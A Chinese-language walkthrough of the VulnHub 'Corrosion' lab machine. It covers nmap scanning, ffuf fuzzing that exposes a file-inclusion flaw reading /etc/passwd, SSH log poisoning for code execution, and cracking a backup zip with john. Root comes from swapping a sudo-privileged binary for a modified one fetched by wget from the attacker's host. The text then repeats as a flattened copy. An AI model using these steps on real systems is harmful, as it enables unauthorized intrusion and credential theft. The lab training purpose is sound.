VnlnHub Corrosion
字数 1234 2025-08-12 11:34:13

VnlnHub Corrosion 靶场渗透测试教学文档

靶场环境搭建

  1. 下载与导入

    • 靶场下载为虚拟机压缩文件
    • 使用VMware直接导入压缩文件
  2. 网络配置

    • 网络模式设置为NAT模式(桥接模式也可)
    • 开机后无密码无法直接登录

信息收集阶段

  1. IP扫描

    • 使用nmap扫描网段存活主机:
      nmap -sP -T4 192.168.109.0/24
      
    • 排除攻击机IP(128)、广播/网关地址(1和254)后确定靶机IP:192.168.109.130
  2. 端口扫描

    • 全面扫描靶机开放端口:
      nmap -sS -p 0-65535 -Pn -O -A 192.168.109.130
      
    • 发现开放服务:
      • 22端口:SSH服务
      • 80端口:WEB服务(Apache)

Web应用渗透

  1. 初步探测

    • 访问80端口显示Apache默认页面
    • 查看网页源代码无有效线索
  2. 目录爆破

    • 使用kali自带字典:/usr/share/wordlists/dirbuster/apache字典
    • 发现敏感文件:
      • /tasks/task_todo.txt
      • /blog-post目录
  3. 深入探测

    • 发现/blog-post/archives/randylogs.php文件
    • 文件无内容,猜测需要参数
  4. 参数fuzz

    • 使用ffuf进行参数爆破:
      ffuf -w /usr/share/wordlists/rockyou.txt -u http://192.168.109.130/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -fs 0
      
    • 确定参数名为file
  5. 文件包含漏洞利用

    • 确认存在任意文件包含漏洞
    • 无法包含/etc/shadow(权限不足)
    • 可包含/var/log/auth.log(登录日志文件)

权限提升路径

  1. 初始访问

    • 通过SSH登录日志写入恶意代码或webshell
    • 使用文件包含执行恶意代码
  2. 敏感文件发现

    • /var/backups目录发现账号备份文件
    • 使用curl下载到攻击机:
      curl http://192.168.109.130/var/backups/[文件名] -o [本地文件名]
      
  3. 密码破解

    • 使用zip2john生成hash:
      zip2john [压缩文件] > hash.txt
      
    • 使用john爆破密码:
      john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
      
    • 获得密码:!randybaby
  4. SSH登录

    • 发现用户randy
    • 使用破解的密码成功SSH登录
  5. 信息收集

    • randy家目录发现user.txt文件

提权方法

  1. 特权命令检查

    sudo -l
    
    • 发现root用户特权文件
  2. 分析特权文件

    • 检查目录下的python文件了解执行意图
    • 发现之前解压的easysysinfo.c文件
  3. 文件替换提权

    • 修改easysysinfo.c文件
    • 在攻击机建立临时web服务:
      python -m http.server 8080
      
    • 在靶机下载修改后的文件:
      wget http://[攻击机IP]:8080/easysysinfo.c
      
    • 编译并覆盖原可执行文件
  4. 提权成功

    • 执行修改后的特权文件获得root权限

关键知识点总结

  1. 信息收集

    • 网络扫描与主机发现
    • 端口扫描与服务识别
    • 目录爆破与敏感文件发现
  2. 漏洞利用

    • 参数fuzz技术
    • 文件包含漏洞利用
    • 日志文件注入技术
  3. 密码破解

    • zip2john与john工具链使用
    • 字典攻击技术
  4. 权限提升

    • sudo特权命令分析
    • 源代码审计与修改
    • 文件替换提权技术
  5. 后渗透

    • 敏感文件查找
    • 权限维持技术

工具清单

  • nmap:网络扫描
  • ffuf:参数爆破
  • curl/wget:文件传输
  • zip2john/john:密码破解
  • python:简易web服务搭建
  • 文本编辑器:源代码修改
VnlnHub Corrosion 靶场渗透测试教学文档 靶场环境搭建 下载与导入 : 靶场下载为虚拟机压缩文件 使用VMware直接导入压缩文件 网络配置 : 网络模式设置为NAT模式(桥接模式也可) 开机后无密码无法直接登录 信息收集阶段 IP扫描 : 使用nmap扫描网段存活主机: 排除攻击机IP(128)、广播/网关地址(1和254)后确定靶机IP:192.168.109.130 端口扫描 : 全面扫描靶机开放端口: 发现开放服务: 22端口:SSH服务 80端口:WEB服务(Apache) Web应用渗透 初步探测 : 访问80端口显示Apache默认页面 查看网页源代码无有效线索 目录爆破 : 使用kali自带字典: /usr/share/wordlists/dirbuster/apache 字典 发现敏感文件: /tasks/task_todo.txt /blog-post 目录 深入探测 : 发现 /blog-post/archives/randylogs.php 文件 文件无内容,猜测需要参数 参数fuzz : 使用ffuf进行参数爆破: 确定参数名为 file 文件包含漏洞利用 : 确认存在任意文件包含漏洞 无法包含 /etc/shadow (权限不足) 可包含 /var/log/auth.log (登录日志文件) 权限提升路径 初始访问 : 通过SSH登录日志写入恶意代码或webshell 使用文件包含执行恶意代码 敏感文件发现 : 在 /var/backups 目录发现账号备份文件 使用curl下载到攻击机: 密码破解 : 使用zip2john生成hash: 使用john爆破密码: 获得密码: !randybaby SSH登录 : 发现用户 randy 使用破解的密码成功SSH登录 信息收集 : 在 randy 家目录发现 user.txt 文件 提权方法 特权命令检查 : 发现root用户特权文件 分析特权文件 : 检查目录下的python文件了解执行意图 发现之前解压的 easysysinfo.c 文件 文件替换提权 : 修改 easysysinfo.c 文件 在攻击机建立临时web服务: 在靶机下载修改后的文件: 编译并覆盖原可执行文件 提权成功 : 执行修改后的特权文件获得root权限 关键知识点总结 信息收集 : 网络扫描与主机发现 端口扫描与服务识别 目录爆破与敏感文件发现 漏洞利用 : 参数fuzz技术 文件包含漏洞利用 日志文件注入技术 密码破解 : zip2john与john工具链使用 字典攻击技术 权限提升 : sudo特权命令分析 源代码审计与修改 文件替换提权技术 后渗透 : 敏感文件查找 权限维持技术 工具清单 nmap:网络扫描 ffuf:参数爆破 curl/wget:文件传输 zip2john/john:密码破解 python:简易web服务搭建 文本编辑器:源代码修改